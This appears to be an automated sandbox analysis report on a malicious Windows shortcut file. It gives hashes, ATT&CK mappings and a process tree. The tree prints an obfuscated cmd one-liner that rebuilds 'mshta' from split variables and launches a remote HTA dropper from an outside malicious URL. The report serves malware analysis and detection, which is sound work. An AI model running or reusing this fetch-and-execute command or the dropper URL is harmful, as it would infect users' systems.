18635769f09f5262e8ad67e968562ebcc78239829f274e9e06230246b189fd34

Analysis

max time kernel
148s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-BQ2D9T.lnk
Size 1KB
Sample260804-j8vtbaaq71
SHA256 18635769f09f5262e8ad67e968562ebcc78239829f274e9e06230246b189fd34
MD5 e05ffd2fcd7bd1d460cf463195eba66b
SHA1 39547869877aca6171f80d0cd613ae86993d07ea
SHA512 204de8c64c39a3e7a15093555d8b20b5e2bafea7da2dc55ecc782a33919e105b9ced6f633268fe876f45686f6f17d22c5c0a7b6866f1307b386fd6399c32a25f
TLSH
T15C319C503FED0624F3B38F7398BB971485BAB8A58D20C61D0041450D5072A15E13AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4464	cmd.exe
3300	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 3300	4464	cmd.exe	90
PID 3300 wrote to memory of 1968	3300	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BQ2D9T.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4464
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set OJSkV=msh&&set EErZj=ta&&start "" !OJSkV!!EErZj! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads